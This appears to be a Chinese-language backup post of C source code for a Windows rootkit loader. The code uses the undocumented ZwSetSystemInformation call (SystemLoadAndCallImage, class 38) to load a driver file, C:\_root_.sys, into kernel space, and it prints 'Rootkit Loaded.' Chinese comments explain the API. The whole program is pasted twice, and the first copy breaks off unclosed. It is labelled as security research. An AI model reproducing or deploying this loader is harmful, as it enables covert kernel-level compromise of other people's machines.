这里备份一下:
#include <windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT *Buffer;
#else // MIDL_PASS
PWSTR Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;
typedef unsigned long NTSTATUS; //我认为这里应该是typedef long NTSTATUS, 否则一个unsigned的值总是不小于0,下面这个宏就会出问题
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
NTSTATUS (__stdcall *ZwSetSystemInformation)(
IN DWORD SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength
);
/*
//有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000 Native API //Reference》
//ZwSetSystemInformation设置影响操作系统的信息,定义如下:
// NTSYSAPI
// NTSTATUS
// NTAPI
// ZwSetSystemInformation(
// IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
// IN OUT PVOID SystemInformation,
// IN ULONG SystemInformationLength);
//
//参数:
// SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个子集,SystemLoadAndCallImage就是其中一个:
// typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{Information Class 38 ,UNICODE_STRING ModuleName;}SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
// 成员:Module:要加载模块的NATIVE NT格式的完整路径
// 备注:
// 这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载到内核地址空间和调用其入口点的操作。期望入口点例程是一个带两个参数的__stdcall例程(与设备驱动程序的DriverEntry例程一致)。如果入口点例程返回一个失败代码,则卸载模块。
// SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量
// SystemInformationLength:以字节为单位的SystemInformaiton的大小,根据给定的SystemInformationClass来设置它
*/
VOID (__stdcall *RtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
void main(void)
{
///
// Why mess with Drivers?
///
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
WCHAR daPath[] = L"\\??\\C:\\_root_.sys";
//
// get DLL entry points
//
if( !(RtlInitUnicodeString =
(void *) GetProcAddress( GetModuleHandle("ntdll.dll"),
"RtlInitUnicodeString" )) ) //在ntdll.dll中获取RtlInitUnicodeString地址
exit(1);
if( !(ZwSetSystemInformation =
(void *) GetProcAddress( GetModuleHandle("ntdll.dll"),
"ZwSetSystemInformation" )) ) //在ntdll.dll中获取ZwSetSystemInformation地址
exit(1);
RtlInitUnicodeString( &(GregsImage.ModuleName),
daPath ); //建立设备
if( NT_SUCCESS(
ZwSetSystemInformation( SystemLoadAndCallImage,
&GregsImage,
sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) )) //加载进内核空间
{
printf("Rootkit Loaded.\n");
}
else
{
printf("Rootkit not loaded.\n");
}
#include <windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT *Buffer;
#else // MIDL_PASS
PWSTR Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;
typedef unsigned long NTSTATUS; //我认为这里应该是typedef long NTSTATUS, 否则一个unsigned的值总是不小于0,下面这个宏就会出问题
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
NTSTATUS (__stdcall *ZwSetSystemInformation)(
IN DWORD SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength
);
/*
//有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000 Native API //Reference》
//ZwSetSystemInformation设置影响操作系统的信息,定义如下:
// NTSYSAPI
// NTSTATUS
// NTAPI
// ZwSetSystemInformation(
// IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
// IN OUT PVOID SystemInformation,
// IN ULONG SystemInformationLength);
//
//参数:
// SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个子集,SystemLoadAndCallImage就是其中一个:
// typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{Information Class 38 ,UNICODE_STRING ModuleName;}SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
// 成员:Module:要加载模块的NATIVE NT格式的完整路径
// 备注:
// 这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载到内核地址空间和调用其入口点的操作。期望入口点例程是一个带两个参数的__stdcall例程(与设备驱动程序的DriverEntry例程一致)。如果入口点例程返回一个失败代码,则卸载模块。
// SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量
// SystemInformationLength:以字节为单位的SystemInformaiton的大小,根据给定的SystemInformationClass来设置它
*/
VOID (__stdcall *RtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
void main(void)
{
///
// Why mess with Drivers?
///
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
WCHAR daPath[] = L"\\??\\C:\\_root_.sys";
//
// get DLL entry points
//
if( !(RtlInitUnicodeString =
(void *) GetProcAddress( GetModuleHandle("ntdll.dll"),
"RtlInitUnicodeString" )) ) //在ntdll.dll中获取RtlInitUnicodeString地址
exit(1);
if( !(ZwSetSystemInformation =
(void *) GetProcAddress( GetModuleHandle("ntdll.dll"),
"ZwSetSystemInformation" )) ) //在ntdll.dll中获取ZwSetSystemInformation地址
exit(1);
RtlInitUnicodeString( &(GregsImage.ModuleName),
daPath ); //建立设备
if( NT_SUCCESS(
ZwSetSystemInformation( SystemLoadAndCallImage,
&GregsImage,
sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) )) //加载进内核空间
{
printf("Rootkit Loaded.\n");
}
else
{
printf("Rootkit not loaded.\n");
}
}
网络安全研究